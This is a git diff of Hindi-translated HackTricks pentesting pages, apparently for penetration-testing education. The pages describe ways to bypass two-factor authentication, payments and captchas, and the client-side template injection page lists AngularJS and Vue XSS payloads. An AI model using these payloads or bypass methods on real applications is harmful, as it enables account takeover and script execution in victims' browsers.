* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,29 +15,16 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Enhanced Two-Factor Authentication Bypass Techniques**
|
||||
|
||||
### **Direct Endpoint Access**
|
||||
|
||||
2FA को बायपास करने के लिए, सीधे अगले एंडपॉइंट तक पहुँचें, पथ जानना महत्वपूर्ण है। यदि असफल होते हैं, तो **Referrer header** को 2FA सत्यापन पृष्ठ से नेविगेशन की नकल करने के लिए बदलें।
|
||||
2FA को बायपास करने के लिए, अगले एंडपॉइंट तक सीधे पहुंचें, पथ जानना महत्वपूर्ण है। यदि असफल होते हैं, तो **Referrer header** को 2FA सत्यापन पृष्ठ से नेविगेशन की नकल करने के लिए बदलें।
|
||||
|
||||
### **Token Reuse**
|
||||
|
||||
खाते के भीतर प्रमाणीकरण के लिए पहले से उपयोग किए गए टोकनों का पुन: उपयोग करना प्रभावी हो सकता है।
|
||||
खाते के भीतर प्रमाणीकरण के लिए पहले से उपयोग किए गए टोकन का पुन: उपयोग करना प्रभावी हो सकता है।
|
||||
|
||||
### **Utilization of Unused Tokens**
|
||||
|
||||
|
@ -49,19 +36,19 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
### **Verification Link Exploitation**
|
||||
|
||||
**खाते के निर्माण पर भेजे गए ईमेल सत्यापन लिंक** का उपयोग करके 2FA के बिना प्रोफ़ाइल तक पहुँचने की अनुमति मिल सकती है, जैसा कि एक विस्तृत [पोस्ट](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) में बताया गया है।
|
||||
**खाते के निर्माण पर भेजे गए ईमेल सत्यापन लिंक** का उपयोग करके 2FA के बिना प्रोफ़ाइल तक पहुंच प्राप्त की जा सकती है, जैसा कि एक विस्तृत [पोस्ट](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) में बताया गया है।
|
||||
|
||||
### **Session Manipulation**
|
||||
|
||||
उपयोगकर्ता और एक पीड़ित के खाते के लिए सत्र शुरू करना, और उपयोगकर्ता के खाते के लिए 2FA को पूरा करना बिना आगे बढ़े, पीड़ित के खाते के प्रवाह में अगले चरण तक पहुँचने का प्रयास करने की अनुमति देता है, बैकएंड सत्र प्रबंधन सीमाओं का लाभ उठाते हुए।
|
||||
उपयोगकर्ता और एक पीड़ित के खाते के लिए सत्र शुरू करना, और उपयोगकर्ता के खाते के लिए 2FA को पूरा करना बिना आगे बढ़े, पीड़ित के खाते के प्रवाह में अगले चरण तक पहुंचने का प्रयास करने की अनुमति देता है, बैकएंड सत्र प्रबंधन सीमाओं का लाभ उठाते हुए।
|
||||
|
||||
### **Password Reset Mechanism**
|
||||
|
||||
पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या यह एक ही लिंक का उपयोग करके कई रीसेट की अनुमति देता है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है।
|
||||
पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या एक ही लिंक का उपयोग करके कई रीसेट की अनुमति है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है।
|
||||
|
||||
### **OAuth Platform Compromise**
|
||||
|
||||
एक विश्वसनीय **OAuth** प्लेटफ़ॉर्म (जैसे, Google, Facebook) पर उपयोगकर्ता के खाते का समझौता करना 2FA को बायपास करने का एक मार्ग प्रदान कर सकता है।
|
||||
एक विश्वसनीय **OAuth** प्लेटफ़ॉर्म (जैसे, Google, Facebook) पर उपयोगकर्ता के खाते से समझौता करना 2FA को बायपास करने का एक मार्ग प्रदान कर सकता है।
|
||||
|
||||
### **Brute Force Attacks**
|
||||
|
||||
|
@ -71,7 +58,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
#### **Slow Brute Force**
|
||||
|
||||
एक धीमी ब्रूट फोर्स हमला संभव है जहाँ प्रवाह दर सीमाएँ मौजूद हैं बिना एक समग्र दर सीमा के।
|
||||
एक धीमी ब्रूट फोर्स हमला तब संभव है जब प्रवाह दर सीमाएँ मौजूद हों बिना एक समग्र दर सीमा के।
|
||||
|
||||
#### **Code Resend Limit Reset**
|
||||
|
||||
|
@ -79,11 +66,11 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
#### **Client-Side Rate Limit Circumvention**
|
||||
|
||||
एक दस्तावेज़ क्लाइंट-साइड दर सीमाओं को बायपास करने के लिए तकनीकों का विवरण देता है।
|
||||
एक दस्तावेज़ क्लाइंट-साइड दर सीमाओं को बायपास करने की तकनीकों का विवरण देता है।
|
||||
|
||||
#### **Internal Actions Lack Rate Limit**
|
||||
|
||||
दर सीमाएँ लॉगिन प्रयासों की सुरक्षा कर सकती हैं लेकिन आंतरिक खाता क्रियाओं की नहीं।
|
||||
दर सीमाएँ लॉगिन प्रयासों की रक्षा कर सकती हैं लेकिन आंतरिक खाता क्रियाओं की नहीं।
|
||||
|
||||
#### **SMS Code Resend Costs**
|
||||
|
||||
|
@ -109,13 +96,13 @@ CSRF या Clickjacking कमजोरियों का पता लगा
|
|||
|
||||
#### **IP Address Impersonation**
|
||||
|
||||
**X-Forwarded-For** हेडर के माध्यम से पीड़ित के IP पते का अनुकरण करना प्रतिबंधों को बायपास कर सकता है।
|
||||
**X-Forwarded-For** हेडर के माध्यम से पीड़ित के IP पते की नकल करना प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
### **Utilizing Older Versions**
|
||||
|
||||
#### **Subdomains**
|
||||
|
||||
उप-डोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी है या कमजोर 2FA कार्यान्वयन हो सकते हैं।
|
||||
उपडोमेन का परीक्षण करना पुराने संस्करणों का उपयोग कर सकता है जिनमें 2FA समर्थन की कमी है या कमजोर 2FA कार्यान्वयन हो सकते हैं।
|
||||
|
||||
#### **API Endpoints**
|
||||
|
||||
|
@ -123,7 +110,7 @@ CSRF या Clickjacking कमजोरियों का पता लगा
|
|||
|
||||
### **Handling of Previous Sessions**
|
||||
|
||||
2FA सक्रियण पर मौजूदा सत्रों को समाप्त करना समझौता किए गए सत्रों से अनधिकृत पहुँच के खिलाफ खातों की सुरक्षा करता है।
|
||||
2FA सक्रियण पर मौजूदा सत्रों को समाप्त करना समझौता किए गए सत्रों से अनधिकृत पहुंच के खिलाफ खातों को सुरक्षित करता है।
|
||||
|
||||
### **Access Control Flaws with Backup Codes**
|
||||
|
||||
|
@ -139,11 +126,11 @@ CSRF या Clickjacking कमजोरियों का पता लगा
|
|||
|
||||
### **Decoy Requests**
|
||||
|
||||
ब्रूट फोर्स प्रयासों को अस्पष्ट करने या दर सीमित करने की तंत्रों को भटकाने के लिए डेकोय अनुरोधों का उपयोग करना बायपास रणनीतियों में एक और परत जोड़ता है। ऐसे अनुरोधों को तैयार करना एप्लिकेशन की सुरक्षा उपायों और दर सीमित करने के व्यवहारों की सूक्ष्म समझ की आवश्यकता होती है।
|
||||
ब्रूट फोर्स प्रयासों को अस्पष्ट करने या दर सीमित करने की तंत्रों को भटकाने के लिए डेकोय अनुरोधों का उपयोग करना बायपास रणनीतियों में एक और परत जोड़ता है। ऐसे अनुरोधों को तैयार करने के लिए एप्लिकेशन की सुरक्षा उपायों और दर सीमित करने के व्यवहारों की सूक्ष्म समझ की आवश्यकता होती है।
|
||||
|
||||
### OTP Construction errors
|
||||
|
||||
यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता के पास पहले से है या जो OTP बनाने के लिए भेजा जा रहा है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है।
|
||||
यदि OTP उस डेटा के आधार पर बनाया गया है जो उपयोगकर्ता पहले से ही रखता है या जो OTP बनाने के लिए भेजा जा रहा है, तो उपयोगकर्ता इसे भी उत्पन्न कर सकता है और इसे बायपास कर सकता है।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -151,17 +138,6 @@ CSRF या Clickjacking कमजोरियों का पता लगा
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## भुगतान बायपास तकनीकें
|
||||
|
||||
### अनुरोध इंटरसेप्शन
|
||||
|
@ -33,7 +25,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
- **कॉलबैक**: इसका उपयोग आमतौर पर लेन-देन पूरा होने के बाद उपयोगकर्ता को रीडायरेक्ट करने के लिए किया जाता है।
|
||||
|
||||
### URL विश्लेषण
|
||||
यदि आप किसी पैरामीटर का सामना करते हैं जिसमें एक URL होता है, विशेष रूप से एक जो _example.com/payment/MD5HASH_ के पैटर्न का अनुसरण करता है, तो इसकी निकटता से जांच करने की आवश्यकता है। यहाँ एक चरण-दर-चरण दृष्टिकोण है:
|
||||
यदि आप किसी पैरामीटर का सामना करते हैं जिसमें एक URL है, विशेष रूप से एक जो _example.com/payment/MD5HASH_ के पैटर्न का अनुसरण करता है, तो इसकी निकटता से जांच करने की आवश्यकता है। यहाँ एक चरण-दर-चरण दृष्टिकोण है:
|
||||
|
||||
1. **URL कॉपी करें**: पैरामीटर मान से URL निकालें।
|
||||
2. **नया विंडो निरीक्षण**: कॉपी किए गए URL को एक नए ब्राउज़र विंडो में खोलें। यह क्रिया लेन-देन के परिणाम को समझने के लिए महत्वपूर्ण है।
|
||||
|
@ -53,12 +45,6 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
1. **प्रतिक्रियाओं को इंटरसेप्ट करें**: सर्वर से प्रतिक्रियाओं को इंटरसेप्ट और विश्लेषण करने के लिए उपकरणों का उपयोग करें। किसी भी डेटा की तलाश करें जो सफल लेन-देन को इंगित कर सकता है या भुगतान प्रक्रिया में अगले चरणों को प्रकट कर सकता है।
|
||||
2. **प्रतिक्रियाओं को संशोधित करें**: ब्राउज़र या एप्लिकेशन द्वारा संसाधित होने से पहले प्रतिक्रियाओं को संशोधित करने का प्रयास करें ताकि सफल लेन-देन परिदृश्य का अनुकरण किया जा सके।
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -26,7 +26,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
2. **मान निकालना और पुन: उपयोग करना**:
|
||||
* **स्रोत कोड निरीक्षण**: पृष्ठ के स्रोत कोड में कैप्चा मान की खोज करें।
|
||||
* **कुकी विश्लेषण**: यह देखने के लिए कुकीज़ की जांच करें कि क्या कैप्चा मान संग्रहीत और पुन: उपयोग किया गया है।
|
||||
* **पुराने कैप्चा मानों का पुन: उपयोग करें**: पहले सफल कैप्चा मानों का पुन: उपयोग करने का प्रयास करें। ध्यान रखें कि ये किसी भी समय समाप्त हो सकते हैं।
|
||||
* **पुराने कैप्चा मानों का पुन: उपयोग करें**: पहले सफल कैप्चा मानों का पुन: उपयोग करने का प्रयास करें। ध्यान रखें कि वे किसी भी समय समाप्त हो सकते हैं।
|
||||
* **सत्र हेरफेर**: विभिन्न सत्रों या समान सत्र आईडी के बीच समान कैप्चा मान का उपयोग करने का प्रयास करें।
|
||||
|
||||
3. **स्वचालन और पहचान**:
|
||||
|
@ -44,10 +44,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Online Services to solve captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Capsolver का स्वचालित कैप्चा समाधान एक **सस्ती और तेज़ कैप्चा-समाधान समाधान** प्रदान करता है। आप इसे अपने कार्यक्रम के साथ तेजी से जोड़ सकते हैं, इसके सरल एकीकरण विकल्प का उपयोग करके कुछ सेकंड में सर्वोत्तम परिणाम प्राप्त कर सकते हैं। यह reCAPTCHA V2 और V3, hCaptcha, FunCaptcha, datadome, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3, और अधिक को हल कर सकता है। हालाँकि, यह स्वयं में एक बायपास नहीं है।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,31 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Summary
|
||||
|
||||
यह [**सर्वर साइड टेम्पलेट इंजेक्शन**](ssti-server-side-template-injection/) की तरह है लेकिन **क्लाइंट** में। **SSTI** आपको दूरस्थ सर्वर पर **कोड** निष्पादित करने की अनुमति दे सकता है, **CSTI** आपको पीड़ित के ब्राउज़र में **मनमाना जावास्क्रिप्ट** कोड निष्पादित करने की अनुमति दे सकता है।
|
||||
यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **कोड** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **मनमाना JavaScript** कोड **execute** करने की अनुमति दे सकता है।
|
||||
|
||||
इस भेद्यता के लिए **परीक्षण** **SSTI** के मामले में बहुत **समान** है, इंटरप्रेटर **एक टेम्पलेट** की अपेक्षा करता है और इसे निष्पादित करेगा। उदाहरण के लिए, एक पेलोड जैसे `{{ 7-7 }}` के साथ, यदि ऐप **कमजोर** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल देखेंगे: `{{ 7-7 }}`
|
||||
इस भेद्यता के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **एक template** की अपेक्षा करता है और इसे execute करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल देखेंगे: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला जावास्क्रिप्ट फ्रेमवर्क है जो HTML के साथ विशेषताओं के माध्यम से इंटरैक्ट करता है जिसे निर्देशों के रूप में जाना जाता है, एक उल्लेखनीय **`ng-app`** है। यह निर्देश AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर जावास्क्रिप्ट अभिव्यक्तियों का निष्पादन संभव होता है।
|
||||
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है जिसे directives के रूप में जाना जाता है, एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions के execution की अनुमति मिलती है।
|
||||
|
||||
उन परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` टैग के साथ HTML बॉडी में गतिशील रूप से डाला जाता है, मनमाना जावास्क्रिप्ट कोड निष्पादित करना संभव है। यह इनपुट के भीतर AngularJS की सिंटैक्स का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे जावास्क्रिप्ट कोड निष्पादित किया जा सकता है:
|
||||
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, मनमाना JavaScript कोड execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे JavaScript कोड execute किया जा सकता है:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
|
@ -64,7 +51,7 @@ AngularJS एक व्यापक रूप से उपयोग किय
|
|||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
एक वास्तव में अच्छा पोस्ट CSTI पर VUE में [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पाया जा सकता है।
|
||||
CSTI पर VUE में एक बहुत अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है।
|
||||
|
||||
### **V3**
|
||||
```
|
||||
|
@ -96,35 +83,25 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
<a href=[javascript&':alert(1)']>test</a>
|
||||
[self.alert(1)mod1]
|
||||
```
|
||||
**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||
**अधिक पेलोड्स** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||
|
||||
## **Brute-Force Detection List**
|
||||
## **ब्रूट-फोर्स डिटेक्शन लिस्ट**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मालवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
JNDI, 1990 के दशक के अंत से Java में एकीकृत, एक निर्देशिका सेवा के रूप में कार्य करता है, जो Java कार्यक्रमों को नामकरण प्रणाली के माध्यम से डेटा या वस्तुओं को खोजने में सक्षम बनाता है। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जो विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करने की अनुमति देता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं।
|
||||
